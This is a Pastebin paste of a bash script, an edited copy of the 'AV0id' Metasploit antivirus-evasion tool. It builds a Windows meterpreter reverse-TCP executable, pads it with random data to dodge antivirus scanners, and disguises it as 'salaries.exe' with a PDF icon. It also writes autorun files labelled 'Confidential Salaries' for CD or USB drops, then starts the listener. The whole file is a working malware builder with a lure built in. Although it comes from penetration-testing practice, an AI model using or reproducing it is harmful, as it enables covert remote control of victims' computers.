Sh3lLDu5T

AVoid-Edited-By-CybaFrE3z

Mar 4th, 2015
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 12.73 KB | None | 0 0
  1. #!/usr/bin/env bash
  2. #
  3. #  CybaFrE3z
  4. #    Tried to edit it to use msfvenom
  5. #
  6. # AV0id - Metapsloit Payload Anti-Virus Avasion
  7. # Daniel Compton
  8. # www.commonexploits.com
  9. # Twitter = @commonexploits
  10. # 05/2013
  11. # Tested on Bactrack 5 and Kali only.
  12.  
  13. #####################################################################################
  14. # Released as open source by NCC Group Plc - http://www.nccgroup.com/
  15.  
  16. # Developed by Daniel Compton, daniel dot compton at nccgroup dot com
  17.  
  18. # https://github.com/nccgroup/metasploitavevasion
  19.  
  20. #Released under AGPL see LICENSE for more information
  21.  
  22. ######################################################################################
  23.  
  24. # Credit to other A.V. scripts and research by Astr0baby, Vanish3r & Hasan aka inf0g33k
  25.  
  26. # User options
  27. OUTPUTNAME="salaries.exe" # The payload exe created name
  28. PAYLOAD="windows/meterpreter/reverse_tcp" # The payload to use
  29. MSFPAYLOAD=`which msfpayload` # Path to the msfpayload script
  30. MSFENCODE=`which msfencode` # Path to the msfencode script
  31. MSFCLI=`which msfcli` # Path to the msfcli script
  32. MSFVENOM=`which msfvenom` # Path to msfvenom
  33.  
  34. # Script begins
  35. #===============================================================================
  36.  
  37. VERSION="1.5"
  38.  
  39. # spinner for Metasploit Generator
  40. spinlong ()
  41. {
  42.     bar=" ++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
  43.     barlength=${#bar}
  44.     i=0
  45.     while ((i < 100)); do
  46.         n=$((i*barlength / 100))
  47.         printf "\e[00;32m\r[%-${barlength}s]\e[00m" "${bar:0:n}"
  48.         ((i += RANDOM%5+2))
  49.         sleep 0.02
  50.     done
  51. }
  52.  
  53.  
  54. # spinner for random seed generator
  55. spinlong2 ()
  56. {
  57.     bar=" 011001110010010011101110011010101010101101010010101110"
  58.     barlength=${#bar}
  59.     i=0
  60.     while ((i < 100)); do
  61.         n=$((i*barlength / 100))
  62.         printf "\e[00;32m\r[%-${barlength}s]\e[00m" "${bar:0:n}"
  63.         ((i += RANDOM%5+2))
  64.         sleep 0.02
  65.     done
  66. }
  67.  
  68. clear
  69. echo ""
  70. echo -e "\e[00;32m##################################################################\e[00m"
  71. echo ""
  72. echo -e "*** \e[01;31mAV\e[00m\e[01;32m0id\e[00m - Metasploit Shell A.V. Avoider Version $VERSION  ***"
  73. echo ""
  74. echo -e "\e[00;32m##################################################################\e[00m"
  75. echo ""
  76. sleep 3
  77. clear
  78.  
  79. #Check for gcc compiler
  80. which i586-mingw32msvc-gcc >/dev/null 2>&1
  81. if [ $? -eq 0 ]; then
  82.     echo ""
  83. else
  84.     echo ""
  85.     echo -e "\e[01;31m[!]\e[00m Unable to find the required gcc program, install i586-mingw32msvc-gcc and try again"
  86.     echo ""
  87.     exit 1
  88. fi
  89.  
  90. #Check for Metasploit
  91. if [[ "$MSFPAYLOAD" != "" || "$MSFENCODE" != "" || "$MSFCLI" != "" ]]; then
  92.     echo ""
  93. else
  94.     echo ""
  95.     echo -e "\e[01;31m[!]\e[00m Unable to find the required Metasploit program, cant continue. Install and try again"
  96.     echo -e "\e[01;31m[!]\e[00m If msfpayload, msfencode and msfcli are not in your PATH, edit this script options"
  97.     echo ""
  98.     exit 1
  99. fi
  100.  
  101.  
  102. # create a PDF icon
  103.  
  104. #Check for PDF icon files
  105.  
  106. ls icons/icon.res >/dev/null 2>&1 && ls icons/autorun.ico >/dev/null 2>&1
  107. if [ $? -eq 0 ]; then
  108.     echo ""
  109. else
  110.     echo ""
  111.     echo -e "\e[01;31m[!]\e[00m I can't find the icon files I will need, I will try and download these now"
  112.     echo ""
  113.     sleep 2
  114.     echo ""
  115.     echo -e "\e[01;32m[-]\e[00m Attempting to download 2 files...please wait"
  116.     echo ""
  117.     mkdir icons >/dev/null 2>&1
  118.     cd icons >/dev/null 2>&1
  119.     wget http://www.commonexploits.com/tools/avoid/icon.res >/dev/null 2>&1
  120.     wget http://www.commonexploits.com/tools/avoid/autorun.ico >/dev/null 2>&1
  121.     sleep 2
  122.     ls icon.res >/dev/null 2>&1 && ls autorun.ico >/dev/null 2>&1
  123.     if [ $? -eq 0 ]; then
  124.         echo -e "\e[01;32m[+]\e[00m Success, icon files downloaded"
  125.         cd ..
  126.         echo ""
  127.     else
  128.         echo -e "\e[01;31m[!]\e[00m Unable to download the icon files, script will continue but you will not have the masked PDF exe or autorun icon"
  129.         cd ..
  130.         echo ""
  131.     fi
  132. fi
  133.  
  134. # Random Msfencode encoding iterations
  135. #ITER=`seq 5 10 |sort -R |sort -R | head -1`
  136. ITER=`shuf -i 10-20 -n 1`
  137.  
  138. echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
  139. echo -e "\e[01;31m[?]\e[00m What system do you want the Metasploit listenter to run on? Enter 1 or 2 and press enter"
  140. echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
  141. echo ""
  142. echo " 1. Use my current system and IP address"
  143. echo ""
  144. echo " 2. Use an alternative system, i.e public external address"
  145. echo ""
  146. echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
  147. echo ""
  148. echo -ne "\e[01;32m>\e[00m "
  149. read INTEXT
  150. echo ""
  151. if [ "$INTEXT" = "1" ]; then
  152.     echo ""
  153.     IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
  154.     IP=$(ifconfig "$IPINT" |egrep "inet add?r:" |cut -d ":" -f 2 |awk '{ print $1 }')
  155.     echo -e "\e[01;32m[-]\e[00m Local system selected, listener will be launched on \e[01;32m$IP\e[00m using interface \e[01;32m$IPINT\e[00m"
  156.     echo ""
  157.     echo -e "\e[1;31m-------------------------------------------------------\e[00m"
  158.     echo -e "\e[01;31m[?]\e[00m What port number do you want to listen on?"
  159.     echo -e "\e[1;31m-------------------------------------------------------\e[00m"
  160.     echo ""
  161.     echo -ne "\e[01;32m>\e[00m "
  162.     read PORT
  163.     echo ""
  164. elif [ "$INTEXT" = "2" ]; then
  165.     echo ""
  166.     echo -e "\e[01;32m[-]\e[00m Alternative system selected"
  167.     echo ""
  168.     echo -e "\e[1;31m--------------------------------------------------------------------\e[00m"
  169.     echo -e "\e[01;31m[?]\e[00m What IP address to you want the listener to run on?"
  170.     echo -e "\e[1;31m--------------------------------------------------------------------\e[00m"
  171.     echo ""
  172.     echo -ne "\e[01;32m>\e[00m "
  173.     read IP
  174.     echo ""
  175.     echo ""
  176.     echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
  177.     echo -e "\e[01;31m[?]\e[00m What port number do you want to listen on? If on the internet try port 53 if restricted"
  178.     echo -e "\e[1;31m---------------------------------------------------------------------------------------------------------\e[00m"
  179.     echo ""
  180.     echo -ne "\e[01;32m>\e[00m "
  181.     read PORT
  182.     echo ""
  183. else
  184.     echo -e "\e[01;31m[!]\e[00m You didnt select a valid option, try again"
  185.     echo ""
  186.     exit 1
  187. fi
  188. echo ""
  189. echo -e "\e[01;32m[-]\e[00m Generating Metasploit payload, please wait..."
  190. echo ""
  191. spinlong
  192. #Payload creater
  193. $MSFVENOM -p $PAYLOAD LHOST=$IP LPORT=$PORT EXITFUNC=thread -b \x00 -f c > msf.c 2>/dev/null
  194. #$MSFPAYLOAD "$PAYLOAD" LHOST="$IP" LPORT="$PORT" EXITFUNC=thread R | $MSFENCODE -e x86/shikata_ga_nai -c $ITER -t raw 2>/dev/null | $MSFENCODE -e x86/jmp_call_additive -c $ITER -t raw 2>/dev/null | $MSFENCODE -e x86/call4_dword_xor -c $ITER -t raw 2>/dev/null |  $MSFENCODE -e x86/shikata_ga_nai -c $ITER -t c > msf.c 2>/dev/null
  195. echo ""
  196. echo ""
  197. # Menu
  198. echo -e "\e[1;31m--------------------------------------------------------------------------------------------\e[00m"
  199. echo -e "\e[01;31m[?]\e[00m How stealthy do you want the file? Enter 1, 2, 3, 4 or 5 and press enter"
  200. echo -e "\e[1;31m--------------------------------------------------------------------------------------------\e[00m"
  201. echo ""
  202. echo " 1. Normal - about 400K payoad  - fast compile - 13/46 A.V. products detected as malicious"
  203. echo ""
  204. echo " 2. Stealth - about 1-2 MB payload - fast compile - 12/46 A.V. products detected as malicious"
  205. echo ""
  206. echo " 3. Super Stealth - about 10-20MB payload - fast compile - 11/46 A.V. detected as malicious"
  207. echo ""
  208. echo " 4. Insane Stealth - about 50MB payload - slower compile - 10/46 A.V. detected as malicious"
  209. echo ""
  210. echo " 5. Desperate Stealth - about 100MB payload - slower compile - Not tested with A.V."
  211. echo ""
  212. echo -e "\e[1;31m----------------------------------------------------------------------------------------------\e[00m"
  213. echo ""
  214. echo -ne "\e[01;32m>\e[00m "
  215. read LEVEL
  216. echo ""
  217. if [ "$LEVEL" = "1" ]; then
  218.     echo ""
  219.     echo -e "\e[01;32m[-]\e[00m Normal selected, please wait a few seconds"
  220.     echo ""
  221.     echo -e "\e[01;32m[-]\e[00m Generating random seed for padding...please wait"
  222.     echo ""
  223.     spinlong2
  224.     SEED=$(shuf -i 100000-500000 -n 1)
  225. elif [ "$LEVEL" = "2" ]; then
  226.     echo ""
  227.     echo -e "\e[01;32m[-]\e[00m Stealth selected, please wait a few seconds"
  228.     echo ""
  229.     echo -e "\e[01;32m[-]\e[00m Generating random seed for padding...please wait"
  230.     echo ""
  231.     spinlong2
  232.     SEED=$(shuf -i 1000000-5000000 -n 1)
  233. elif [ "$LEVEL" = "3" ]; then
  234.     echo ""
  235.     echo -e "\e[01;32m[-]\e[00m Super Stealth selected, please wait a few seconds"
  236.     echo ""
  237.     echo -e "\e[01;32m[-]\e[00m Generating random seed for padding...please wait"
  238.     echo ""
  239.     spinlong2
  240.     SEED=$(shuf -i 8000000-12000000 -n 1)
  241. elif [ "$LEVEL" = "4" ]; then
  242.     echo ""
  243.     echo -e "\e[01;32m[-]\e[00m Insane Stealth selected, please wait a few minutes"
  244.     echo ""
  245.     echo -e "\e[01;32m[-]\e[00m Generating random seed for padding...please wait"
  246.     echo ""
  247.     spinlong2
  248.     SEED=$(shuf -i 40000000-60000000 -n 1)
  249. elif [ "$LEVEL" = "5" ]; then
  250.     echo ""
  251.     echo -e "\e[01;32m[-]\e[00m Desperate Stealth selected, please wait a few minutes"
  252.     echo ""
  253.     echo -e "\e[01;32m[-]\e[00m Generating random seed for padding...please wait"
  254.     echo ""
  255.     spinlong2
  256.     SEED=$(shuf -i 100000000-200000000 -n 1)
  257. else
  258.     echo -e "\e[01;31m[!]\e[00m You didnt select a option, exiting"
  259.     echo ""
  260.     exit 1
  261. fi
  262.  
  263. # build the c file ready for compile
  264. echo ""
  265. echo '#include <stdio.h>' >> build.c
  266. echo 'unsigned char padding[]=' >> build.c
  267. cat /dev/urandom | tr -dc _A-Z-a-z-0-9 | head -c$SEED > random
  268. sed -i 's/$/"/' random
  269. sed -i 's/^/"/' random
  270. cat random >> build.c
  271. echo  ';' >> build.c
  272. echo 'char payload[] =' >> build.c
  273. cat msf.c |grep -v "unsigned" >> build.c
  274. echo 'char comment[512] = "";' >> build.c
  275. echo 'int main(int argc, char **argv) {' >> build.c
  276. echo  ' (*(void (*)()) payload)();' >> build.c
  277. echo '  return(0);' >> build.c
  278. echo '}' >> build.c
  279.  
  280. # gcc compile the exploit
  281.  
  282. ls icons/icon.res >/dev/null 2>&1
  283. if [ $? -eq 0 ]; then
  284.     i586-mingw32msvc-gcc -Wall -mwindows icons/icon.res build.c -o "$OUTPUTNAME"
  285. else
  286.     i586-mingw32msvc-gcc -Wall -mwindows build.c -o "$OUTPUTNAME"
  287. fi
  288.  
  289. # check if file built correctly
  290. LOCATED=`pwd`
  291. ls "$OUTPUTNAME" >/dev/null 2>&1
  292. if [ $? -eq 0 ]; then
  293.     echo ""
  294.     echo -e "\e[01;32m[+]\e[00m Your payload has been successfully created and is located here: \e[01;32m"$LOCATED"/"$OUTPUTNAME"\e[00m"
  295. else
  296.     echo ""
  297.     echo -e "\e[01;31m[!]\e[00m Something went wrong trying to compile the executable, exiting"
  298.     echo ""
  299.     exit 1
  300. fi
  301.  
  302. # create autorun files
  303. mkdir autorun >/dev/null 2>&1
  304. cp "$OUTPUTNAME" autorun/ >/dev/null 2>&1
  305. cp icons/autorun.ico autorun/ >/dev/null 2>&1
  306. echo "[autorun]" > autorun/autorun.inf
  307. echo "open="$OUTPUTNAME"" >> autorun/autorun.inf
  308. echo "icon=autorun.ico" >> autorun/autorun.inf
  309. echo "label=Confidential Salaries" >> autorun/autorun.inf
  310. echo ""
  311. echo -e "\e[01;32m[+]\e[00m I have also created 3 AutoRun files here: \e[01;32m"$LOCATED"/"autorun/"\e[00m - simply copy these files to a CD or USB"
  312.  
  313. # clean up temp files
  314. rm build.c >/dev/null 2>&1
  315. rm random >/dev/null 2>&1
  316. rm msf.c >/dev/null 2>&1
  317.  
  318.  
  319. echo ""
  320. sleep 2
  321. echo -e "\e[1;31m--------------------------------------------------------------------------------------------\e[00m"
  322. echo -e "\e[01;31m[?]\e[00m Do you want the listener to be loaded automatically? Enter 1 or 2 and press enter"
  323. echo -e "\e[1;31m--------------------------------------------------------------------------------------------\e[00m"
  324. echo ""
  325. echo " 1. Yes"
  326. echo ""
  327. echo " 2. No"
  328. echo ""
  329. echo -e "\e[1;31m----------------------------------------------------------------------------------------------\e[00m"
  330. echo ""
  331. echo -ne "\e[01;32m>\e[00m "
  332. read INTEXT
  333. echo ""
  334. if [ "$INTEXT" = "1" ]; then
  335.     echo -e "\e[01;32m[-]\e[00m Loading the Metasploit listener on \e[01;32m$IP:$PORT\e[00m, please wait..."
  336.     echo ""
  337.     $MSFCLI exploit/multi/handler PAYLOAD="$PAYLOAD" LHOST="$IP" LPORT="$PORT" E 2>/dev/null
  338. else
  339.     echo ""
  340.     echo -e "\e[01;32m[-]\e[00m Run the following code on your listener system:"
  341.     echo ""
  342.     echo -e "\e[01;32m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\e[00m"
  343.     echo ""
  344.     echo "$MSFCLI exploit/multi/handler PAYLOAD="$PAYLOAD" LHOST="$IP" LPORT="$PORT" E"
  345.     echo ""
  346.     echo -e "\e[01;32m+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\e[00m"
  347.     echo ""
  348. fi
Advertisement
Add Comment
Please, Sign In to add comment